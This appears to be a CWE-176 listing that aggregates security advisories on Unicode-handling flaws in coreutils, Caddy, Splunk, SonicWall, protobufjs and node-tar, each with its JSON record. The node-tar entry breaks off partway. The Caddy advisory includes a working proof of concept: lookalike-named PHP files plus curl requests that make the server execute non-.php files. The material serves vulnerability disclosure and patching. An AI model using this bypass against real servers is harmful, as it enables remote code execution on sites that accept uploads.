Common Weakness Enumeration

CWE-176

Allowed

Improper Handling of Unicode Encoding

Abstraction: Variant · Status: Draft

The product does not properly handle when an input contains Unicode encoding.

53 vulnerabilities reference this CWE, most recent first.

GHSA-HWHF-8P2F-45WR

Vulnerability from github – Published: 2026-04-22 18:31 – Updated: 2026-07-06 19:51
VLAI
Summary
Duplicate Advisory: coreutils' comm utility silently corrupts data by performing lossy UTF-8 conversion on all output lines
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-6gcw-w7cp-94g9. This link is maintained to preserve external references.

Original Description

The comm utility in uutils coreutils silently corrupts data by performing lossy UTF-8 conversion on all output lines. The implementation uses String::from_utf8_lossy(), which replaces invalid UTF-8 byte sequences with the Unicode replacement character (U+FFFD). This behavior differs from GNU comm, which processes raw bytes and preserves the original input. This results in corrupted output when the utility is used to compare binary files or files using non-UTF-8 legacy encodings.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "coreutils"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-176"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T22:57:41Z",
    "nvd_published_at": "2026-04-22T17:16:36Z",
    "severity": "LOW"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-6gcw-w7cp-94g9. This link is maintained to preserve external references.\n\n### Original Description\nThe comm utility in uutils coreutils silently corrupts data by performing lossy UTF-8 conversion on all output lines. The implementation uses String::from_utf8_lossy(), which replaces invalid UTF-8 byte sequences with the Unicode replacement character (U+FFFD). This behavior differs from GNU comm, which processes raw bytes and preserves the original input. This results in corrupted output when the utility is used to compare binary files or files using non-UTF-8 legacy encodings.",
  "id": "GHSA-hwhf-8p2f-45wr",
  "modified": "2026-07-06T19:51:03Z",
  "published": "2026-04-22T18:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35346"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uutils/coreutils/issues/10192"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uutils/coreutils/pull/10206"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uutils/coreutils/commit/b9372e509ea9b278fe13763237067a261bb8c946"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uutils/coreutils"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uutils/coreutils/releases/tag/0.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: coreutils\u0027 comm utility silently corrupts data by performing lossy UTF-8 conversion on all output lines",
  "withdrawn": "2026-07-06T19:51:03Z"
}

GHSA-JCJR-RH8Q-7XQF

Vulnerability from github – Published: 2026-07-06 19:53 – Updated: 2026-07-06 19:53
VLAI
Summary
ln: rejects non-UTF-8 source filenames in target-directory mode
Details

In target-directory forms (ln SOURCE... DIRECTORY), ln rejects source paths with non-UTF-8 filename bytes, while GNU accepts them. Breaks GNU compatibility for byte-oriented filenames on Unix filesystems.

PoC:

name=$(printf 'bad_\377'); mkdir dst; : > "$name"; ln "$name" dst
# GNU: exit 0, creates dst/bad_\377 ; uutils: exit 1, dst empty

Zellic private finding (zellic-ext/coreutils-private PR #84). Reported in the Zellic uutils coreutils Program Security Assessment (for Canonical, Jan 2026), audited commit 3a07ffc5a9bd4c283e75afa548ba1f1957bad242.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "uu_ln"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35373"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-06T19:53:39Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "In target-directory forms (`ln SOURCE... DIRECTORY`), `ln` rejects source paths with non-UTF-8 filename bytes, while GNU accepts them. Breaks GNU compatibility for byte-oriented filenames on Unix filesystems.\n\nPoC:\n```\nname=$(printf \u0027bad_\\377\u0027); mkdir dst; : \u003e \"$name\"; ln \"$name\" dst\n# GNU: exit 0, creates dst/bad_\\377 ; uutils: exit 1, dst empty\n```\n\n---\n_Zellic private finding (zellic-ext/coreutils-private PR #84). Reported in the Zellic *uutils coreutils Program Security Assessment* (for Canonical, Jan 2026), audited commit `3a07ffc5a9bd4c283e75afa548ba1f1957bad242`._",
  "id": "GHSA-jcjr-rh8q-7xqf",
  "modified": "2026-07-06T19:53:39Z",
  "published": "2026-07-06T19:53:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/uutils/coreutils/security/advisories/GHSA-jcjr-rh8q-7xqf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35373"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uutils/coreutils/pull/11403"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uutils/coreutils"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ln: rejects non-UTF-8 source filenames in target-directory mode"
}

GHSA-JHQ7-888Q-JW4M

Vulnerability from github – Published: 2025-12-02 03:31 – Updated: 2025-12-02 03:31
VLAI
Details

HackerOne community member Kassem S.(kassem_s94) has reported that username handling in Revive Adserver was still vulnerable to impersonation attacks after the fix for CVE-2025-52672, via several alternate techniques. Homoglyphs based impersonation has been independently reported by other HackerOne users, such as itz_hari_ and khoof.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-55129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-02T02:15:46Z",
    "severity": "MODERATE"
  },
  "details": "HackerOne community member Kassem S.(kassem_s94) has reported that username handling in Revive Adserver was still vulnerable to impersonation attacks after the fix for CVE-2025-52672, via several alternate techniques. Homoglyphs based impersonation has been independently reported by other HackerOne users, such as  itz_hari_ and khoof.",
  "id": "GHSA-jhq7-888q-jw4m",
  "modified": "2025-12-02T03:31:43Z",
  "published": "2025-12-02T03:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55129"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3434156"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M675-2P33-XV9G

Vulnerability from github – Published: 2026-05-18 13:40 – Updated: 2026-05-18 13:40
VLAI
Summary
Caddy: Unsafe Unicode Handling in FastCGI splitPos Allows Execution of Non-PHP Files
Details

Summary

The FastCGI transport's splitPos() in modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go misuses golang.org/x/text/search with search.IgnoreCase when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead Caddy's FastCGI splitting into treating a non-.php (or other configured split_path extension) file as a script. In any deployment where the attacker can place content into a file served via FastCGI (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.

This function was adapted from FrankenPHP's code (see the source comment) and inherits the same bugs. Both were originally reported against FrankenPHP by @KC1zs4 as GHSA-3g8v-8r37-cgjm (which absorbed the duplicate GHSA-v4h7-cj44-8fc8). Credit for finding the underlying flaws belongs to @KC1zs4.

Details

var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)

func (t Transport) splitPos(path string) int {
    if len(t.SplitPath) == 0 {
        return 0
    }
    pathLen := len(path)
    for _, split := range t.SplitPath {
        splitLen := len(split)
        for i := range pathLen {
            if path[i] >= utf8.RuneSelf {
                if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
                    return end
                }
                break
            }
            if i+splitLen > pathLen {
                continue
            }
            match := true
            for j := range splitLen {
                c := path[i+j]
                if c >= utf8.RuneSelf {
                    if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
                        return end
                    }
                    break // <-- flaw 1: 'match' is still true
                }
                if 'A' <= c && c <= 'Z' {
                    c += 'a' - 'A'
                }
                if c != split[j] {
                    match = false
                    break
                }
            }
            if match {
                return i + splitLen
            }
        }
    }
    return -1
}

Flaw 1 — Control-flow: stale match after inner non-ASCII fallback

In the inner for j loop, when a byte satisfies c >= utf8.RuneSelf and splitSearchNonASCII.IndexString(...) returns -1, the loop breaks without setting match = false. The outer code then evaluates if match { return i + splitLen } with match still true, returning a position as if the configured extension had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named name.<U+00A1>.txt gets routed as PHP.

Flaw 2 — Unicode equivalence: search.IgnoreCase folds non-ASCII lookalikes onto ASCII

search.New(language.Und, search.IgnoreCase) performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII ., p, h, p, so a path containing ﹒php, .php, .php, .ⓟⓗⓟ, .𝗽𝗵𝗽, .𝓅𝒽𝓅, .𝖕𝖍𝖕, etc. is reported as .php.

Both flaws share the same root cause: invoking search.IgnoreCase to match an ASCII-only, validated-lower-case SplitPath entry against an arbitrary path. Provision() already guarantees every entry is ASCII and lower-cased, so any byte >= utf8.RuneSelf in the path can never be part of a legitimate match — but the fallback ignored that guarantee.

PoC

Run against a Caddy build serving FastCGI to PHP-FPM (or any FastCGI app where script lookup is gated by split_path). Caddyfile:

:8080 {
    root * /app/public
    php_fastcgi unix//run/php/php-fpm.sock
}

Place attacker-controlled files in /app/public:

  • /app/public/poc-match-unset.\xc2\xa1.<?php echo "marker=flaw1\n";
  • /app/public/poc-search-norm.𝗽𝗵𝗽<?php echo "marker=flaw2\n";

Trigger:

# baseline (correctly NOT routed to PHP)
curl -i --path-as-is "http://127.0.0.1:8080/poc-match-unset.txt/trigger"
curl -i --path-as-is "http://127.0.0.1:8080/poc-search-norm/trigger"

# flaw 1 — the .¡.txt file ends up as SCRIPT_FILENAME
curl -i --path-as-is "http://127.0.0.1:8080/poc-match-unset.%C2%A1.txt/trigger"

# flaw 2 — the .𝗽𝗵𝗽 file ends up as SCRIPT_FILENAME
curl -i --path-as-is "http://127.0.0.1:8080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger"

Both crafted requests respond with the marker payload from the non-.php file, confirming arbitrary code execution through the body of attacker-controlled files.

A standalone reproducer of splitPos() in isolation (no Caddy build needed) is included in GHSA-3g8v-8r37-cgjm; the function in this module is the same logic, so the same payloads apply.

Impact

Comparable to the previous FastCGI split_path issue (GHSA-g966-83w7-6w38 / CVE-2026-24895) but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a .). Where that precondition holds — common in upload endpoints, user-content stores, package mirrors — the bypass yields RCE in the FastCGI upstream via a single crafted URL, without authentication, over the network.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — High (8.1).

Patch

Drop the golang.org/x/text/search fallback entirely and treat any byte >= utf8.RuneSelf in the path as a non-match. SplitPath entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path. See fix/fastcgi-splitpos-unicode-bypass (commit 4ddad83c) for the implementation and regression tests.

Credit

Both flaws were originally found and reported by @KC1zs4 against FrankenPHP, where the offending splitPos() function was first introduced before being adapted into this module. The Caddy maintainers thank @KC1zs4 for the high-quality reports.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.10.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.11.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45135"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176",
      "CWE-178",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T13:40:58Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe FastCGI transport\u0027s `splitPos()` in [`modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go`](https://github.com/caddyserver/caddy/blob/master/modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go) misuses `golang.org/x/text/search` with `search.IgnoreCase` when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead Caddy\u0027s FastCGI splitting into treating a non-`.php` (or other configured `split_path` extension) file as a script. In any deployment where the attacker can place content into a file served via FastCGI (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.\n\nThis function was adapted from FrankenPHP\u0027s code (see [the source comment](https://github.com/caddyserver/caddy/blob/master/modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go#L429)) and inherits the same bugs. Both were originally reported against FrankenPHP by @KC1zs4 as [GHSA-3g8v-8r37-cgjm](https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm) (which absorbed the duplicate GHSA-v4h7-cj44-8fc8). Credit for finding the underlying flaws belongs to @KC1zs4.\n\n### Details\n\n```go\nvar splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)\n\nfunc (t Transport) splitPos(path string) int {\n\tif len(t.SplitPath) == 0 {\n\t\treturn 0\n\t}\n\tpathLen := len(path)\n\tfor _, split := range t.SplitPath {\n\t\tsplitLen := len(split)\n\t\tfor i := range pathLen {\n\t\t\tif path[i] \u003e= utf8.RuneSelf {\n\t\t\t\tif _, end := splitSearchNonASCII.IndexString(path, split); end \u003e -1 {\n\t\t\t\t\treturn end\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif i+splitLen \u003e pathLen {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmatch := true\n\t\t\tfor j := range splitLen {\n\t\t\t\tc := path[i+j]\n\t\t\t\tif c \u003e= utf8.RuneSelf {\n\t\t\t\t\tif _, end := splitSearchNonASCII.IndexString(path, split); end \u003e -1 {\n\t\t\t\t\t\treturn end\n\t\t\t\t\t}\n\t\t\t\t\tbreak // \u003c-- flaw 1: \u0027match\u0027 is still true\n\t\t\t\t}\n\t\t\t\tif \u0027A\u0027 \u003c= c \u0026\u0026 c \u003c= \u0027Z\u0027 {\n\t\t\t\t\tc += \u0027a\u0027 - \u0027A\u0027\n\t\t\t\t}\n\t\t\t\tif c != split[j] {\n\t\t\t\t\tmatch = false\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif match {\n\t\t\t\treturn i + splitLen\n\t\t\t}\n\t\t}\n\t}\n\treturn -1\n}\n```\n\n#### Flaw 1 \u2014 Control-flow: stale `match` after inner non-ASCII fallback\n\nIn the inner `for j` loop, when a byte satisfies `c \u003e= utf8.RuneSelf` and `splitSearchNonASCII.IndexString(...)` returns `-1`, the loop `break`s without setting `match = false`. The outer code then evaluates `if match { return i + splitLen }` with `match` still `true`, returning a position as if the configured extension had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named `name.\u003cU+00A1\u003e.txt` gets routed as PHP.\n\n#### Flaw 2 \u2014 Unicode equivalence: `search.IgnoreCase` folds non-ASCII lookalikes onto ASCII\n\n`search.New(language.Und, search.IgnoreCase)` performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII `.`, `p`, `h`, `p`, so a path containing `\ufe52php`, `\uff0ephp`, `.\uff50hp`, `.\u24df\u24d7\u24df`, `.\ud835\uddfd\ud835\uddf5\ud835\uddfd`, `.\ud835\udcc5\ud835\udcbd\ud835\udcc5`, `.\ud835\udd95\ud835\udd8d\ud835\udd95`, etc. is reported as `.php`.\n\nBoth flaws share the same root cause: invoking `search.IgnoreCase` to match an ASCII-only, validated-lower-case `SplitPath` entry against an arbitrary path. `Provision()` already guarantees every entry is ASCII and lower-cased, so any byte `\u003e= utf8.RuneSelf` in the path can never be part of a legitimate match \u2014 but the fallback ignored that guarantee.\n\n### PoC\n\nRun against a Caddy build serving FastCGI to PHP-FPM (or any FastCGI app where script lookup is gated by `split_path`). Caddyfile:\n\n```text\n:8080 {\n    root * /app/public\n    php_fastcgi unix//run/php/php-fpm.sock\n}\n```\n\nPlace attacker-controlled files in `/app/public`:\n\n- `/app/public/poc-match-unset.\\xc2\\xa1.` \u2014 `\u003c?php echo \"marker=flaw1\\n\";`\n- `/app/public/poc-search-norm.\ud835\uddfd\ud835\uddf5\ud835\uddfd` \u2014 `\u003c?php echo \"marker=flaw2\\n\";`\n\nTrigger:\n\n```bash\n# baseline (correctly NOT routed to PHP)\ncurl -i --path-as-is \"http://127.0.0.1:8080/poc-match-unset.txt/trigger\"\ncurl -i --path-as-is \"http://127.0.0.1:8080/poc-search-norm/trigger\"\n\n# flaw 1 \u2014 the .\u00a1.txt file ends up as SCRIPT_FILENAME\ncurl -i --path-as-is \"http://127.0.0.1:8080/poc-match-unset.%C2%A1.txt/trigger\"\n\n# flaw 2 \u2014 the .\ud835\uddfd\ud835\uddf5\ud835\uddfd file ends up as SCRIPT_FILENAME\ncurl -i --path-as-is \"http://127.0.0.1:8080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger\"\n```\n\nBoth crafted requests respond with the marker payload from the non-`.php` file, confirming arbitrary code execution through the body of attacker-controlled files.\n\nA standalone reproducer of `splitPos()` in isolation (no Caddy build needed) is included in [GHSA-3g8v-8r37-cgjm](https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm); the function in this module is the same logic, so the same payloads apply.\n\n### Impact\n\nComparable to the previous FastCGI `split_path` issue ([GHSA-g966-83w7-6w38 / CVE-2026-24895](https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38)) but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a `.`). Where that precondition holds \u2014 common in upload endpoints, user-content stores, package mirrors \u2014 the bypass yields RCE in the FastCGI upstream via a single crafted URL, without authentication, over the network.\n\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H \u2014 High (8.1).\n\n### Patch\n\nDrop the `golang.org/x/text/search` fallback entirely and treat any byte `\u003e= utf8.RuneSelf` in the path as a non-match. `SplitPath` entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path. See `fix/fastcgi-splitpos-unicode-bypass` (commit `4ddad83c`) for the implementation and regression tests.\n\n### Credit\n\nBoth flaws were originally found and reported by @KC1zs4 against FrankenPHP, where the offending `splitPos()` function was first introduced before being adapted into this module. The Caddy maintainers thank @KC1zs4 for the high-quality reports.",
  "id": "GHSA-m675-2p33-xv9g",
  "modified": "2026-05-18T13:40:59Z",
  "published": "2026-05-18T13:40:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-m675-2p33-xv9g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/php/frankenphp/security/advisories/GHSA-3g8v-8r37-cgjm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/caddyserver/caddy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Caddy: Unsafe Unicode Handling in FastCGI splitPos Allows Execution of Non-PHP Files"
}

GHSA-P3VG-7HJ9-6F24

Vulnerability from github – Published: 2026-04-15 18:31 – Updated: 2026-04-15 18:31
VLAI
Details

In Splunk Enterprise versions below 10.2.2, 10.0.5, 9.4.10, and 9.3.11, and Splunk Cloud Platform versions below 10.4.2603.0, 10.3.2512.6, 10.2.2510.10, 10.1.2507.20, 10.0.2503.13, and 9.3.2411.127, a user who holds a role that contains the high-privilege capability edit_usercould create a specially crafted username that includes a null byte or a non-UTF-8 percent-encoded byte due to improper input validation.

This could lead to inconsistent conversion of usernames into a proper format for storage and account management inconsistencies, such as being unable to edit or delete affected users.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-20202"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-15T16:16:34Z",
    "severity": "MODERATE"
  },
  "details": "In Splunk Enterprise versions below 10.2.2, 10.0.5, 9.4.10, and 9.3.11, and Splunk Cloud Platform versions below 10.4.2603.0, 10.3.2512.6, 10.2.2510.10, 10.1.2507.20, 10.0.2503.13, and 9.3.2411.127, a user who holds a role that contains the high-privilege capability `edit_user`could create a specially crafted username that includes a null byte or a non-UTF-8 percent-encoded byte due to improper input validation.\u003cbr\u003e\u003cbr\u003eThis could lead to inconsistent conversion of usernames into a proper format for storage and account management inconsistencies, such as being unable to edit or delete affected users.",
  "id": "GHSA-p3vg-7hj9-6f24",
  "modified": "2026-04-15T18:31:56Z",
  "published": "2026-04-15T18:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20202"
    },
    {
      "type": "WEB",
      "url": "https://advisory.splunk.com/advisories/SVD-2026-0401"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q2CW-G735-JVCC

Vulnerability from github – Published: 2026-04-09 15:35 – Updated: 2026-05-10 15:31
VLAI
Details

Improper handling of Unicode encoding in SonicWall SMA1000 series appliances allows a remote authenticated SSLVPN admin to bypass AMC TOTP authentication.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-4114"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-09T15:16:13Z",
    "severity": "MODERATE"
  },
  "details": "Improper handling of Unicode encoding in SonicWall SMA1000 series appliances allows a remote authenticated SSLVPN admin to bypass AMC TOTP authentication.",
  "id": "GHSA-q2cw-g735-jvcc",
  "modified": "2026-05-10T15:31:18Z",
  "published": "2026-04-09T15:35:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4114"
    },
    {
      "type": "WEB",
      "url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0003"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q6X5-8V7M-XCRF

Vulnerability from github – Published: 2026-05-12 15:00 – Updated: 2026-05-14 20:35
VLAI
Summary
protobufjs has overlong UTF-8 decoding
Details

Summary

protobufjs includes a minimal UTF-8 decoder used in non-Node and fallback decoding paths. The affected decoder accepted overlong UTF-8 byte sequences and decoded them to their canonical characters instead of replacing them.

The issue concerns overlong encodings and code points outside the Unicode range. protobufjs may still accept some non-strict UTF-8 input for compatibility, so applications should not rely on protobufjs as a general-purpose strict UTF-8 validator.

Impact

An attacker who can provide protobuf binary data decoded through the affected UTF-8 path may be able to bypass application-level checks that inspect raw bytes before protobuf string decoding. For example, bytes that do not contain certain ASCII characters could decode to strings containing those characters.

The practical impact depends on downstream application validation and how decoded strings are used. Node.js Buffer-backed decoding paths are not directly affected when they use Node's native UTF-8 decoding.

Preconditions

  • The application must decode protobuf binary data influenced by an attacker.
  • The affected protobuf string field must be decoded through protobufjs's minimal UTF-8 decoder rather than a native UTF-8 decoder.
  • The application must rely on byte-level filtering or validation before protobuf string decoding.
  • The decoded string must then be used in a security-sensitive context.

Workarounds

Avoid relying only on byte-level filtering before protobuf string decoding with affected versions. Validate decoded strings at the point where they are used, and prefer runtime paths that use native UTF-8 decoding where necessary.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "protobufjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "protobufjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@protobufjs/utf8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44288"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T15:00:11Z",
    "nvd_published_at": "2026-05-13T16:16:55Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nprotobufjs includes a minimal UTF-8 decoder used in non-Node and fallback decoding paths. The affected decoder accepted overlong UTF-8 byte sequences and decoded them to their canonical characters instead of replacing them.\n\nThe issue concerns overlong encodings and code points outside the Unicode range. protobufjs may still accept some non-strict UTF-8 input for compatibility, so applications should not rely on protobufjs as a general-purpose strict UTF-8 validator.\n\n## Impact\n\nAn attacker who can provide protobuf binary data decoded through the affected UTF-8 path may be able to bypass application-level checks that inspect raw bytes before protobuf string decoding. For example, bytes that do not contain certain ASCII characters could decode to strings containing those characters.\n\nThe practical impact depends on downstream application validation and how decoded strings are used. Node.js Buffer-backed decoding paths are not directly affected when they use Node\u0027s native UTF-8 decoding.\n\n## Preconditions\n\n- The application must decode protobuf binary data influenced by an attacker.\n- The affected protobuf string field must be decoded through protobufjs\u0027s minimal UTF-8 decoder rather than a native UTF-8 decoder.\n- The application must rely on byte-level filtering or validation before protobuf string decoding.\n- The decoded string must then be used in a security-sensitive context.\n\n## Workarounds\n\nAvoid relying only on byte-level filtering before protobuf string decoding with affected versions. Validate decoded strings at the point where they are used, and prefer runtime paths that use native UTF-8 decoding where necessary.",
  "id": "GHSA-q6x5-8v7m-xcrf",
  "modified": "2026-05-14T20:35:04Z",
  "published": "2026-05-12T15:00:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-q6x5-8v7m-xcrf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44288"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/protobufjs/protobuf.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.5.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "protobufjs has overlong UTF-8 decoding"
}

GHSA-R6Q2-HW4H-H46W

Vulnerability from github – Published: 2026-01-21 01:05 – Updated: 2026-03-16 14:23
VLAI
Summary
Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS
Details

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.

// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })

In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:

bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
